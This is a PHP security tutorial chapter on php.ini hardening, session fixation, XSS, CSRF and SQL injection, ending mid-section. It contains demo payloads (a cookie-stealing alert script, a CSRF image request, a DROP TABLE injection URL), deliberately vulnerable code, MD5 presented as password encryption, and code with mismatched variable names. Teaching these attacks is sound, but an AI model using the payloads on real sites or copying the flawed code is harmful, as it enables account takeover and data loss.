Security

Last updated Mar 24, 2024 Published Mar 20, 2018

The content here is under the Attribution 4.0 International (CC BY 4.0) license

PHP is a powerful language and its learning curve is shorter compared to some programming languages. Over time, we may not give due importance to security, and this may become the most ignored aspect of our web applications. This shouldn’t happen, because what many developers forget is that with PHP we can access files, execute commands and open network connections on the server through a simple URL or a text field in an HTML form.

Another factor that is very present in the lack of attention to security is the famous deadline. Nowadays, development projects have defined deadlines, and every second late means a loss. And security is something that requires time for analysis and qualified people to act. With this scenario, security is often the last item on the project list, unfortunately.

We will go through several areas of knowledge already covered in this book, such as sessions, database and configurations of the php.ini file. In addition, several sources of information will be left for you to delve deeper into the items you want.

Preparing the environment

From now on, we will focus more on how to get our php.ini file configured correctly to disallow some of these attacks. Our settings will initially be reflected in changing the php.ini file. I will not cover all operating system distributions, but only the main ones, which are Windows, Linux and Mac.

Linux

In some of the main Linux distributions that use the Apache web server, for example, changes must be made to the path /etc/php5/apache2/, in the file php.ini.

Microsoft (using Wamp)

On Microsoft Windows operating systems, WAMP Software (http://www.wampserver.com/en/) is generally installed. With it, it comes with: Apache2, PHP and MySQL.

This makes the settings easier to use in Windows. Assuming that WAMP was installed in the C:/wamp directory, we will edit it in the path: C:/wamp/bin/apache/Apache(apache version)/bin, where the php.ini file.

Mac

Now, for those using the Mac operating system, Apache will generally be installed by default. Therefore, we first need to copy the file and create our php.ini.

The file whose copy we need to make is in our path /etc, with the following file name: php.ini.default.

In your terminal, run the following command to copy the file from its default path to its correct location: sudo cp /etc/php.ini.default /etc/php.ini.

Now that we have created a copy of the original php.ini file, we can edit whatever settings we want. This way, our edits will be made in /etc/php.ini.

It is worth remembering that the php.ini file is read when PHP starts. So, if you are not using PHP in CGI or CLI mode, you will have to start your web server so that the changes are reflected when PHP is run. In other words, for each change made to php.ini, you must restart the web server.

php.ini in detail

There are some settings that we must pay attention to. PHP has some dynamic features and, as a result, they can become real headaches and bring with them some potential security risks. Some attackers tend to look for flaws in applications using resources such as malicious scripts to be executed on our web servers.

There are cases in which it is even possible to save files on our server, and obtain control for your own purposes, or even for a joke, such as changing the home page for an image.

Below are some configurations that we can make to try to mitigate future problems. It is worth mentioning that believing that a system is completely secure is virtually impossible to achieve.

allow_url_fopen and allow_url_include

These two settings are important that they are disabled, because when they are active, they allow files that are not on the same server as your web application to include files. In other words, you would be able to include files from a different server.

Edit the following statement in your php.ini file:

allow_url_fopen = Off
allow_url_include = Off

If you don’t find these lines mentioned, it’s very likely that someone else removed them to work with this type of inclusion. The non-existence of these options does not cause a problem with your PHP, but as the subject is security, every detail counts, as if not configured it opens the door for the inclusion of malicious files in your system.

For example, one type of attack that could occur would be remote file inclusion, better known as RFI (Remote File Inclusion). In this type of attack, what should we worry about? What can he do?

  1. The attacker will be able to execute code on your web server.
  2. Execute attacks on your application’s clients.
  3. Denial of Service (DoS), or even stealing data.

At https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion, you will find a better explanation on the subject of remote file inclusion, not limiting your knowledge to just the PHP language. It is important that you read it, because by understanding this type of attack, you will be able to better define your security strategy.

max_execution_time and max_input_time

Maximum execution time settings determine, in seconds, whether scripts are allowed to run before they are terminated.

It is important to check that the settings are at default. If they are not, configure them like this:

max_execution_time = 30
max_input_time = 60

The max_execution_time option determines the maximum time, in seconds, that the script is allowed to execute before being terminated. The default is that it is set to 30 seconds for scripts that do not run on the command line. For scripts that run from the command line, the default is 0.

max_input_time determines the maximum time, in seconds, that a script is allowed to interpret input data coming from a GET or POST.

Memory usage

Memory limit settings determine the maximum memory your script can allocate. It is important that they are defined because, if the attacker tries to consume all of the server’s memory, he will not be able to, what will generate is an error informing the maximum limit that can be used.

An example of memory limit configuration is as follows. Don’t worry about understanding all the options now, we’ll detail them one by one later.

memory_limit = 16M
upload_max_filesize = 2M
post_max_size = 8M
max_input_nesting_levels = 64

memory_limit

The memory limit is used to define the maximum, in bytes, that a script will be allowed to allocate. With this, we can prevent any script used by an attacker from consuming all the memory available on our server.

upload_max_filesize

This configuration prevents an attacker from consuming the total memory available for loading files.

post_max_size

This setting determines how much posted data we can send. It was chosen to leave it after the file explanation, because it affects data sent via file upload. In other words, if the upload_max_filesize value is smaller than the post_max_size setting, uploading will not be possible, as this setting needs to be greater than the maximum file size setting.

You can perform a test by posting larger data and verify that post_max_size will influence this data, for example, the superglobal variables $_POST and $_FILES will be empty.

max_input_nesting_level

In previous chapters, the basics of some superglobal matrices have already been explained. Our focus will now be on the $_POST and $_GET globals.

This setting determines the maximum depth to which the $_POST and $_GET arrays can go. With this directive, you reduce the possibility of denial of service attacks, which take advantage of hash collisions.

More on the subject can be read at https://www.owasp.org/index.php/Denial_of_Service.

Error log settings

Error and warning log settings work to determine the level at which we want to display or log our errors or warnings in our systems. This setting is often ignored. This ends up opening loopholes for attackers who will look for applications that facilitate the display of errors and\or warnings and, therefore, be able to discover loopholes so that it is possible, based on an error analysis, to attack our application servers.

It is important that the configuration levels are based on which environment we will be developing. Again, don’t worry about understanding all the options at once, they will be explained one by one shortly afterwards.

display_errors = off
log_errors = true

error_reporting = E_ALL (For development environments)

error_reporting = E_ALL & ~E_DEPRECTED & ~E_STRICT (For production environments)

display_errors

This configuration determines whether errors generated in our application should be printed on the screen for our user, or if they should be hidden from our user.

log_errors

This setting determines whether error messages should be written to the server’s log file. It is worth remembering that where this file will be saved may vary, and what determines this for log_errors is the operating system you are using. For example, if you are using a Linux distribution with Apache2, your file will probably be saved in the path /var/log/apache2. This is because this is the default path to find the logs, however it is possible to completely change the path with some settings.

error_reporting

This setting determines the level we want our error report to display. To determine the level of reporting we want in error_reporting, we set the values to integers, which represent a bit field or named constants, such as E_ALL, E_DEPRECTED and E_STRICT.

It is not recommended to use numbers to define error levels for two simple reasons. The first is the lack of clarity when using numbers. Let’s say we are going to use the level E_ALL, and this has the number 1234553. Which would be easier to understand, the number or the constant? Obviously, the constant is much easier to remember.

And the second is due to the compatibility offered by PHP. Internally, the constants used in error_reporting represent number. And if any internal language developer changes this number, if we use the constant, nothing will be affected in our code. However, if we use the number notation 1234553, we will have to identify each place we use and exchange it for the new value.

It is important that you know that, in PHP 4 and PHP 5, the default value of error_reporting is E_ALL & ~ E_NOTICE. If the default values are set at these levels, level errors of the type E_NOTICE will not be displayed.

Initially, many developers ignore this detail, but as your application develops, this may become relevant.

You can read more about the types and explanations of constants in the official documentation, at http://php.net/manual/errorfunc.constants.php.

Data encryption

First, we must learn about what data encryption is, so that we can get into the subject of SSL. We also need to answer why we should care about this issue in our applications.

When we talk about encryption, it is the same as saying that we will hide or scramble data from its original form to a new standard, and that only its recipient can recognize and read this data.

The gain we will have with encryption is that we protect our information from an attacker. In other words, now, for the attacker to decode this data, he will need to know the encryption standard that was used (which, in theory, only our recipient has).

A widely used example of encryption, which you may have already read, is the famous MD5. To encrypt information with MD5 in PHP, we use the md5 function as follows:

$texto = 'PHP';

$md5 = md5($text);

if ($md5 == md5($texto)) {
   print 'The texts are the same';
}

When we run this script, we have the following result:

The texts are the same

Note that we were unable to decrypt the hash generated by MD5. What we can do is check whether the previously generated hash matches the new one generated.

But, as you can see, if the attacker knows your form of encryption (which in our case, is MD5), it is quite possible that he can also decode your data, using a tool to decipher your password.

There are more techniques for this, but it is unlikely that we will cover all the “creative” ways that an attacker can use. But as much as you can get in the way of your creativity is always welcome.

If you want to read more about MD5, we will leave two links here. The first is specifically about PHP’s MD5 function, which you can check out at http://php.net/manual/function.md5.php.

The second deals more with the encryption part, regardless of the technology, and you can access it at https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet#Providing_Cryptographic_Functionality.

Throughout the chapter, we will cover other types of encryption besides MD5.

SSL

As explained previously, encryption is nothing more than transforming data. There is certain data that is transmitted from the server to the client, such as user session data. And precisely because these types of data exist, there is a need for them to be encrypted, and for our information to be transmitted from the client to the server in a more secure way.

In this explained context, where should only the application and the client be able to send and interpret the data transmitted from our application? Imagine that, for each type of data you want to protect, we needed to use, for example, a function. That would be a bit tedious, wouldn’t it?

With this problem in mind, SSL (Secure Socket Layer) was created. It creates an encrypted channel between the web server and the browser, ensuring that all data transmitted is confidential and secure between your application and the client. This way, we obtain encryption for all data transmitted, without the need to create a function or re-encrypt it.

See the following figure that illustrates data traffic, without any secure tunnel:

Client sending data to the server without SSL {w=80%}

Notice the difference between using and not using SSL in the following figure, where the client sends its data through an encrypted tunnel:

Client sending data to the server with SSL {w=80%}

For further reference, take a look at the OpenSSL extension, at http://php.net/manual/book.openssl.php. This is the official extension that PHP uses to provide functions that handle SSL.

Sessions and security

In addition to what has already been mentioned in the chapter PHP and database with PDO, it is important to take due care with our sessions, because even though PHP works on the server side, our session will store a cookie on the user’s side and \or will propagate via URL. And as there is this exchange of data, we must take certain precautions, as we will learn later that this can be an open door for intrusion into our systems. Even a simple cookie can become a real headache.

Session fixation

Session fixation is nothing more than someone being able to use a client’s unique session ID and use it in another browser.

Imagine that the user of your system performs, for example, a login and that the attacker, through some invasion technique, manages to steal the session of the user who has just logged into your system. From there, it can use your user’s data. Depending on the application that the attacker has access to, he may even edit the data, register new data and, even worse, delete the user’s records.

So let’s look at the two types of approaches to stealing the session and fixing it. The first one we can mention is cookie fixing, in which the attacker uses the cookie generated by PHP, edits it and tries to add the same session ID to a cookie from another browser

See in our figure below that PHP generated the cookie with the session id m35qctr6s52q883hitmtpgre26:

Viewing the cookie generated by PHP in Google Chrome {w=100%}

With this ID in hand, we can access the same page, but in another browser. And after that, we try to inject this session ID into the cookie that PHP generated. See our next figure where we are editing the cookie generated by PHP, so that it has the same value as the ID generated in the Google Chrome browser.

Injecting the session ID created in Google Chrome into Firefox {w=90%}

After changing the cookie value in Firefox, we have the following result. Note that cookies from both browsers now have the same value.

Injecting the session ID created in Google Chrome into Firefox {w=100%}

If the attack is successful, the attacker will access all existing data in the session created in Google Chrome in Firefox. This becomes more serious in systems that require authentication, as the attacker can bypass any type of authentication, as what he needs is only the session ID.

In addition to the method shown through cookies, we also have another type of session ID manipulation from the URL, where we obtain the same result, but we do not need to edit any cookies. Just pass the session ID through the PHPSESSID variable, as shown in the following figure:

Injecting the session ID created in Google Chrome into Firefox {w=100%}

Again, if the attack is successful, the attacker has access to all existing data in the PHP session.

If you want to delve deeper into session fixation, access the link provided by OWASP (Open Web Application Security Project): https://www.owasp.org/index.php/Session_fixation. There you can also stay up to date with all the dangers involving security in web applications.

Now that we know the main risks we face when manipulating sessions, let’s move on to a series of configurations that PHP provides us with to prevent these attacks. We will go from PHP functions to configuration options in php.ini.

session_regenerate_id

As explained, what the attacker tries to do is fix the session through a link passed via URL, or change the cookie sent by the server to the user’s machine. However, PHP provides us with a very simple and efficient way to get around this problem through the session_regenerate_id function, thus preventing session fixation.

See below an example of how to use the session_regenerate_id function so that, with each request sent to the server, a new ID is assigned to the session:

session_start();

session_regenerate_id();

After session_generate_id is executed, the session id will be regenerated and your user’s session data will remain the same, only the session identification ID will change.

Session expiration time

This is another issue that we often end up not paying due attention to, which is session time. The limitation partially restricts the action of an attacker. If he steals the user’s session, with a well-defined limit for each area of your system, he won’t have much time to use the session.

However, care must be taken when changing the PHP session time. For example, leaving sessions longer than the PHP standard for the user of your website or system is reflected in usability, however, with this time being longer than it should be, you start leaving your user’s session data for longer exposed to the use of an attacker.

There are ways to limit the session time, and one of them is to edit the session.cache_expire flag in the php.ini file:

session.cache_expire = 180

session.cache_expire

The flag receives as a value the time in minutes that you want your sessions to expire. However, this time changes the session time for all PHP codes on your system, and its default is 180.

If you want to set the value to expire the session time, or even return the value in the session.cache_expire flag, you can use the function session_cache_expire.

To learn more about it, visit http://php.net/manual/function.session-cache-expire.php.

Session_cache_expire

The session_cache_expire function uses, by default, the time setting that is set in your PHP configuration file, php.ini, in the session.gc_maxlifetime option. When there is a need to enter a time to expire the current session of the current script, you call the session_cache_expire function with the desired time parameter.

When we do not pass any parameters, the configured time will be returned, however the function can also be used to set a new time in minutes for the session to expire. All this in the script in which the function was called.

You must use the session_cache_expire function before a session_start call, because, when starting a new session, it will have already assigned the time to expire.

//Current session time from php.ini file

$currentSessiontime = session_cache_expire();
print "Current session time: $currentSessiontime";

//Modify session time

session_cache_expire(10);
$ModifiedSessiontime = session_cache_expire();

print "Modified Session Time: $ModifiedSessionTime";

session_start();

$_SESSION['sessaoNormal'] = 'Test';

print_r($_SESSION, 1);

For more information, see the documentation for the session_cache_expire function at http://php.net/manual/en/function.session-cache-expire.php, and for session_start() at http://php.net/manual/en/function.session-start.php.

session.use_trans_sid

This setting defaults to 0 (disabled). It removes support for transparent sid, that is, it does not allow the user to manage sessions via URL.

Documentation for session.use_trans_sid configuration can be found at http://php.net/manual/session.configuration.php#ini.session.use-trans-sid.

Session verification by IP

As our focus is security in PHP, I won’t explain much about the details of the IP (Internet Protocol), just let you know that it is your computer’s identifier. Another way to guarantee the security of sessions created in PHP, which Zend recommends, is that you check that the IP has not changed between one request and another, while we are logged in.

Imagine a scenario in which we have the user Joãozinho who logs in and creates his session on IP 192.168.0.1. Soon after logging in, the same user Joãozinho sends a request from the IP 192.168.1.100. This tells us that Joãozinho changed machines. To guarantee the security of the user Joãozinho, we must allow the session to be active for only one IP. And to achieve this goal, we will use the global variable $_SERVER.

You can perform the IP check using the global variable $_SERVER, which is an array of information. It is also possible to obtain the IP of both the user accessing PHP and the server on which PHP is running.

In the $_SERVER array, we will work with some keys that return the IP data necessary for our verification, which are REMOTE_ADDR and SERVER_ADDR.

When you use the REMOTE_ADDR key in the $_SERVER global array, PHP will return the IP address of the user viewing your page. See the following example:

print $_SERVER['REMOTE_ADDR'];

When running this script on a client that is running locally on the same machine as the local server, we get the following result:

127.0.0.1

We can also obtain the IP of the server where PHP is running using the SERVER_ADDR key. See in the following code how we can use this key with the $SERVER array:

print $_SERVER['SERVER_ADDR'];

Taking into account that we are running the script on the IP server 192.168.10.10, we obtain the following result:

192.168.10.10

Now that we know how to use the global $_SERVER variables, we can focus on checking Joãozinho’s session. To do this, let’s assume that our script has a connection to the database where we will store the IP of the person who logged in and started the browsing session.

See below the table that we will use in our database and the record that we will insert to perform our test:

CREATE TABLE `users` (
   `id` int(11) NOT NULL AUTO_INCREMENT,
   `user` varchar(45) NOT NULL,
   `password` varchar(45) NOT NULL,
   `ip` varchar(45) NULL,
   PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=1;

And the data for insertion into the database:

INSERT INTO `security`.`usuarios`
(`id`, `user`, `password`, `ip`) VALUES
(1, 'marabesi', 123, '127.0.0.1');

See the data set we have to perform this test:

+----+----------+-------+-----------+
| id | user | password | ip |
+----+----------+-------+-----------+
| 1 | marabesi | 123 | 127.0.0.1 |
+----+----------+-------+-----------+

The second step is to extend the PDO class to add two special methods: one to return the IP that is in the database, and another to update the user’s login IP. See the following code from our new class called User:

class User extends \PDO
{
     public function searchLastIpLoginEffected($usuario)
     {
         $query = $this->prepare('SELECT ip FROM users WHERE user = :user');

         $query->execute([
             ':user' => $user
         ]);

         $data = $query->fetch();

         return $data['ip'];
     }

     public function saveLoginIp($ip, $usuario)
     {
         $query = $this->prepare('UPDATE usuarios SET ip = :ip WHERE usuario = :usuario');

         return $query->execute([
             ':ip' => $ip,
             ':user' => $user
         ]);
     }
}

Before we move on to the part that processes the information, let’s create our HTML to interact with the form processing. Note that it is a very simple form containing two fields: one of the text type, in which we inform the user, and another of the password type, where we will obviously enter the password.

<html>
     <head>
         <title>Login</title>
     </head>
     <body>
         <form method="post">
             <input type="text" name="user"/>
             <input type="password" name="password"/>

             <input type="submit" value="Submit"/>
         </form>
     </body>
</html>

Now we can create the code in which we will receive the form requests to be processed.

session_start();

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    
     $pdo = new \User('mysql:host=localhost;dbname=security;port=3306', 'root', 123456);
     $pdo->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION);

     $user = $_POST['user'];
     $password = $_POST['password'];

     $ipAtualDoUsuario = $_SERVER['REMOTE_ADDR'];

     if ($ipAtualDoUsuario != $pdo->searchUltimoIpLoginEfetuado($usuario)) {
         session_destroy();
         $pdo->salvaIpDeLogin($ipAtualDoUsuario, $usuario);

         exit('User is logged in to another machine');
     } else {
         print 'Hello user';
     }
}

In the first line of our code, we are starting the session so that we can use its data in our script. Soon after, we carry out a check to see if the method sent through the form is of type POST, which indicates that some significant change will be made to the data on our server. And if this request is POST, we store the username and password used in this request, and we check if the IP of the user making the request is the same as the last IP registered for that session.

If the IP is not the same, we redirect the user to log in again; otherwise, we just save the user’s IP so we can check it on the next request made. With this, we guarantee that the user does not have their session started on several machines without their knowledge.

Cross-Site Scripting

Before explaining the Cross-site Scripting attack, we need to know what a client-side language is. For many readers, it’s easy to identify a language this way, isn’t it? For those who thought about JavaScript, you’re right. It is a language that runs on the client side. But you might be wondering: what does this have to do with security in PHP?

There is a type of attack that is better known as XSS (Cross-site scripting), in which the attacker tries to inject JavaScript code. This occurs because many developers accept the sending of data and save it in the database, without validating the content of this data.

Next, we will illustrate how an attack of this type would occur in a script that does not take good programming practices into account. To do this, we will use a message that displays the current user’s session ID.

The first thing we must do is create a file called security.php, and add the PHP code shown below.

This PHP code before the HTML is responsible for validating the data sent by the user in the form. In other words, the idea here is that if the user is not logged in, the login form will be displayed.

When performing the action of sending data, if the username and password match the pattern, the user will be logged in and the welcome message will be displayed to the user.

session_start();

// Validates the information sent by the form
$user = filter_input(INPUT_POST, 'cpf');
$password = filter_input(INPUT_POST, 'password');
$codigoAcesso = filter_input(INPUT_POST, 'cod_acesso');

if (!array_key_exists('usuario', $_SESSION)) {
     if ($user && $password) {
         $defaultuser = '24228124577';
         $defaultpassword = md5('123');

         if ($defaultuser == $user) {
             if (md5($password) == $defaultpassword) {
                 $_SESSION['user'] = $user;
                 echo "Hello: $user your access code is: $accesscode";
             } else {
                 echo 'OPS';
             }
         }
     }
     ?>
     <html>
         <head>
              <meta charset="utf-8"/>
         </head>
         <body>
             <form method="POST">
                 <body>
                 CPF:
                 <input type="text" value="" name="cpf"/>
                 Password:
                 <input type="password" value="" name="password"/>
                 Access code:
                 <input type="text" value="" name="access code"/>

                 <input type="submit" value="::: TEST :::"/>
             </form>
         </body>
     </html>

<?php } else { ?>
     <html>
         <head>
              <meta charset="utf-8"/>
         </head>
         <body>
             Hello, welcome: <?php echo $_SESSION['usuario'] ?> your access code is: <?php echo $codigoAcesso ?>
         </body>
     </html>
<?php } ?>

We will use the Firefox browser and the FireBug plugin to be able to manipulate the value of our session, as Google Chrome has native security against XSS attacks.

Note that, when trying to carry out this type of attack, the browser itself displays an error message:

Google Chrome detecting XSS attack {w=100%}

Firebug is a tool that helps developers to in-depth inspect HTML elements, network traffic, cookies, requests made by the browser, and other things. By default, Firefox does not have this plugin installed. To find out how to install and use it, visit the official website at https://addons.mozilla.org/pt-br/firefox/addon/firebug/.

For our example, the CPF 24228124577 and the password 123 will be used. As you can see, our code is simple and contains a problem: it is displaying the text Hello: user_name your access code is: access_code. And it is precisely the access code field that we will use to inject the following script:

<script>
alert(document.cookie)
</script>

In this code, we are creating an alert in the browser that will return the PHPSESSID, if login occurs. With this, we can use this value and manipulate it through FireBug and try to log the user in again, without the need to use the username and password. The following figure illustrates these steps. Pay particular attention to the content of the access code field.

Field with XSS script

If you haven’t noticed, let’s give you a tip here: this attack shown shows how we can mix different techniques to circumvent application security. Note that, when using XSS, we obtain the user’s session ID. With this, we can perform the session fixation that we saw earlier in this chapter. Do you remember what session fixation is?

To perform the next steps, log in by running the script that has the code presented. If login is successful, an alert will appear on the screen. Get the value that is returned with PHPSESSID and save it to a file. Look:

XSS running{w=90%}

You should only save what is after the equal sign (=), as this is what will be used to log in in our example. Additionally, the description to the left of the equals sign is just the name of the session identifier.

Now press OK and refresh the page. Then, you will already see the following message:

Hello, welcome: 24228124577

Now invoke FireBug. To do this, you must click on the top corner that contains the image of a small insect, or simply press the F12 key. If FireBug is installed correctly, the following screen will be returned:

FireBug window running after pressing the F12 key {w=90%}

Now you must go to the Cookies tab, as illustrated below:

FireBug Cookies Cookies Tab {w=90%}

Right-click on the PHPSESSID cookie, and select the option to delete the Cookie, as illustrated in the figure:

List of available options to manipulate the Cookie in FireBug {w=90%}

Please do not close FireBug and stay in the Cookies tab, because we will use the information contained in this open tab so that it is possible to change the Cookies values yourself.

After that, refresh the page and you will see that the cookies tab has a PHPSESSID generated. This will be the one we will edit with the value we saved in the file previously. To do this, right-click again and select the edit option, as illustrated below:

Option to edit the value of a Cookie {w=90%}

A screen will be displayed to edit our PHPSESSID cookie. We will edit the value and put what we saved in the file:

Window to change the value of an existing item in the Browser Cookie {w=90%}

Now, confirm the edit by clicking Ok and then just refresh the page. You will notice that we log in without needing any login or password.

As you can see, with a simple alert in JavaScript in our example, it was possible to obtain the value of the PHPSESSID Cookie and log in without the user’s password. Fortunately, there is a simple way to prevent alert from not running in our example, when using the htmlentities function.

The htmlentities function converts any HTML code to its proper entity and, by doing this, the browser will not interpret the HTML code, but will display it. To make it clearer, let’s look at a simple example. Let’s take some code below and try to display it in the browser.

print htmlentities('<a href="http://www.google.com.br">Google</a>');

Can you guess what we will see when we run this code? Before moving forward, try taking a look at the htmlentities function.

To learn more about the htmlentities function, access the official documentation at http://php.net/manual/function.htmlentities.php.

If you have already used this function, you know that the HTMl code will be displayed. See the result:

<a href="http://www.google.com.br">Google</a>

After this simple example, we can apply the htmlentities function to the data sent by the user, thus preventing the execution of JavaScript by the browser. We will only display the changed code, not the entire script, so as not to make it difficult to understand. Look:

$user = htmlentities(filter_input(INPUT_POST, 'cpf'));
$password = htmlentities(filter_input(INPUT_POST, 'password'));
$codigoAcesso = htmlentities(filter_input(INPUT_POST, 'cod_acesso'));

We have now added to the validation of data sent by the user the conversion of all HTML code sent. Thus, any type of script sent will no longer be interpreted, but rather displayed as plain text. Let’s rerun the user login by passing the malicious JavaScript and see what result is displayed.

JavaScript code being displayed after handling XSS attack with the htmlentities function {w=90%}

As you noticed, we will no longer be able to inject any code through the form, making the use of XSS and any attempted misuse of the form impossible.

Cross-Site Request Forgeries

It’s not as famous as XSS, but chances are you’ve already taken steps to protect your application against XSS attacks. But what about CSRF (Cross-Site Request Forgeries)?

In case you haven’t paid much attention and the attack seems silly, know that it is also a very famous attack. Who has never received a link via email or chat. Or even on a website where the user assumes they are safe, and ends up clicking on something that will generally be asking you to click, for example, on links that contain true dreams to be realized without much effort. One example is the famous: “Attention sir, you have just won a house worth half a million reais”. At this point, you might be tempted to click and that’s where it all starts.

The attack targets social engineering attempts on its users, and will attempt to force the user to perform an action such as simply logging into their bankline and entering all their personal details. He may not even suspect anything, as all the features will be identical to what he is used to using at his bank, such as Itaú, Bradesco, etc.

In the case of chats, it is common for malicious users to deceive others by sending images containing a simple HTML image element, with a reference to an action from a malicious website, which can trick the user into entering their CPF, for example.

What Zend expects from you at this point is that you, as a developer, can generate effective measures to protect your system or website, and that you are able to address the root cause of the problem. And, of course, see how well you were able to identify the problem, whether in this case it is an XSS attack, CSRF or others.

The fundamental mistake made by developers is to blindly trust their users, believing that they will always send the data requested in their forms. It is from this trust that the vulnerability is generated, which a malicious user will exploit in your system.

What you need to keep in mind is that you should never trust your users with the data sent via form, because any gap you leave will be open to attacks on your system. Some examples of systems that suffer greatly from this type of attack are forums, emails (in which your information is displayed in a browser), advertisements, stock quotes (which can be displayed in a feed) and, mainly, data from forms.

In the case of the CSRF attack, the technical target targeted for failure will be HTTP requests. It is important that, first of all, you understand a little about this protocol, which web clients and servers use to communicate.

Your web clients will send requests to you using the HTTP protocol, and your servers will also respond using the same protocol. What basically makes up the protocol is a request and a response.

The most basic example that makes up the explanation is a simple HTTP request to a page:

GET/HTTP/1.1
Host: localhost

See what the attack flow looks like, since you know a little of what the malicious user will try to take advantage of:

Simple CSRF attack flow{w=100%}

Let’s use the HTML from the XSS example. But now create a new file with the name formulario.php and save the following code in it.

<html>
     <head>
         <meta charset="utf-8"/>
     </head>
     <body>
         <form method="post" action=”usuario.php”>
             CPF:
             <input type="text" value="" name="cpf" />
             Password:
             <input type="password" value="" name="password" />
             Access code:
             <input type="password" value="" name="access code" />

             <input type="submit" value="Submit" />
         </form>
     </body>
</html>

There is a small difference, we changed the action tag to send the data to the usuário.php script. And next, let’s visualize the code that should go inside the usuario.php script.

<html>
     <head>
         <meta charset="utf-8"/>
     </head>
     <body>
         <?php
         session_start();

         $user = (array_key_exists('cpf', $_REQUEST) ? $_REQUEST['cpf'] : null);
         $password = (array_key_exists('password', $_REQUEST) ? $_REQUEST['password'] : null);
         $codigoAcesso = (array_key_exists('cod_acesso', $_REQUEST) ? $_REQUEST['cod_acesso'] : null);
         $usuarioLogado = (array_key_exists('usuario', $_SESSION) ? $_SESSION['usuario'] : null);

         if (is_null($userLogged)) {
             if ($user && $password) {

                 $defaultuser = '24228124577';
                 $defaultpassword = md5('123');

                 if ($defaultuser == $user) {
                     if (md5($password) == $defaultpassword) {
                         $_SESSION['user'] = $user;
                         echo "Hello: {$user}";
                     } else {
                         echo 'OPS';
                     }
                 }
             }
         } else {
             echo "Hello, welcome: echo $usuarioLogado your access code is: echo $codigoAccesso";
         }
         ?>
  </body>
</html>

Now, we will create the index.php script, which will cause our user to be logged in without even going through the formulario.php file.

<html>
     <div style="background-image: url('http://glued.com.br/wp-content/uploads/2014/10/Taylor-Swift-3.jpg'); height: 430px; width: 650px; ">
     <img
         src="http://localhost/livro/usuario.php?cpf=24228124577&senha=123&cod_acesso=123" />
     </div>
</html>

Now you must open two tabs in your browser and, initially, you will call the usuario.php script.

Two open tabs pointing to the script usuario.php {w=90%}

You will see that no information is displayed indicating that the user is logged in, and you will only see the image of Taylor Swift. So far, it doesn’t seem like anything has happened, does it? But notice that a request occurred without even us knowing. Look the following picture:

Request made without the user noticing {w=100%}

Now go to the second tab, which contains usuario.php. Maybe you had an “OPS, screwed!” moment, because the user was logged in without us noticing. But don’t worry, solving the problem isn’t that complicated. You may notice that the usuario.php script contains the global $_REQUEST. This is already one of the problems, as it was possible, even by passing GET, to log in with the user. Now change it to $_POST and see the change made in the following code:

session_start();

$user = (array_key_exists('cpf', $_POST) ? $_POST['cpf'] : null);
$password = (array_key_exists('password', $_POST) ? $_POST['password'] : null);
$codigoAcesso = (array_key_exists('cod_acesso', $_POST) ? $_POST['cod_acesso'] : null);
$usuarioLogado = (array_key_exists('usuario', $_SESSION) ? $_SESSION['usuario'] : null);

if (is_null($userLogged)) {
     if ($user && $password) {

         $defaultuser = '24228124577';
         $defaultpassword = md5('123');

         if ($defaultuser == $user) {
             if (md5($password) == $defaultpassword) {
                 $_SESSION['user'] = $user;
                 echo "Hello: {$user}";
             } else {
                 echo 'OPS';
             }
         }
     }
} else {
     echo "Hello, welcome: $usuarioLogado your access code is: $codigoAcesso";
}

Now it is no longer possible for the malicious user to log in just by passing the data via GET, but do not feel completely safe. Some care must always be taken to avoid any further gaps, such as:

  • Prefer the use of POST. As you can see, accepting any protocol can generate a failure, and the attacker can take advantage of this loophole to invade your system. However, even using POST, it can find other ways of intrusion.

  • Consider more sensitive actions on your system in which your user provides the password, because, as mentioned previously, we can never trust our user, as he could be the attacker himself.

  • Another way to mitigate CSRF is to check forms with a token, for example, in a hidden field on the form, where every time the user updates the page, a new token is generated and saved in the session. This makes it possible to check whether the token sent matches how it was generated. It is also important to pay attention to the time that this token can be saved in the session. From time to time it must be expired to prevent it from setting.

SQL Injection

Perhaps this issue is known to some developers, as it has become quite famous among the community: the dreaded SQL injection. With it, you can manipulate a simple and harmless SQL query and create a real headache for you.

Imagine that, with an SQL statement, the attacker is able to delete all of your company’s data, or be able to go undetected through your access controls. Or even worse, that he can, with a simple SQL, have access to operating system level commands?

In this type of attack, the attacker seeks to exploit flaws in data processing through forms, or any other form of data entry. Carrying out the direct SQL command injection attack consists of a technique in which the attacker will try, based on your system’s data input, to inject an instruction. This will mean that a simple SQL can actually give it access to data, change, edit or even delete it.

We have already had the opportunity to work with systems where the developer obtained the values and keys to create their queries based on user input. See a practical example of what we are talking about and pay attention to the use of the array_keys and array_values functions.

// Data sent by the user
$parameter = $_GET['data'];

$fields = array_keys($parameter);
$values = array_values($parameter);

$sql = 'INSERT INTO tb_livro (' . implode(',', $campos) . ') VALUES (' . implode(',', $valores) . ')';

print $sql;

The functionality could even be cool to mount INSERT, as seen in this example. Until then, harmless. The error is due to the fact that it does not process the data sent by the user and then uses it to execute the statement in the database. Imagine that, by not handling the SQL, the attacker is able, for example, to delete the table from your database. See below the example that illustrates the use of the attack:

http://localhost:8181/teste.php?dados[title]=php&dados[year]=2016'); DROP TABLE also_book; --

See that we generated an SQL statement that would eliminate the tb_livros table:

INSERT INTO tb_book (title, year) VALUES ('php','2016'); DROP TABLE also_book; --')

To make it even clearer, the following figure illustrates what the attacker’s side would look like, sending data through the browser:

SQL injection attack executed using user data{w=100%}

If you want to know more about the functions mentioned, access the official PHP documentation. For the array_keys function, access http://php.net/manual/function.array-keys.php and, for the array_values function, access http://php.net/manual/function.array-values.php.

SQL injection in practice

To make it clearer what SQL injection is and how the attack occurs, let’s look at a small example that illustrates a little of the problem. To do this, in your database, you must create the following product table:

CREATE TABLE `tb_produto` (
   `product_id` INT NOT NULL AUTO_INCREMENT,
   `nm_produto` VARCHAR(45) NOT NULL,
   PRIMARY KEY (`product_id`));

In the created table, we will insert some records. See the following insert SQL statement:

INSERT INTO `tb_produto` (`nm_produto`) VALUES ('Chaves');
INSERT INTO `tb_produto` (`nm_produto`) VALUES ('Cups');
INSERT INTO `tb_produto` (`nm_produto`) VALUES ('Dishcloth');

Now that we have the database ready, let’s look at the folder structure:

File folder structure {w=50%}

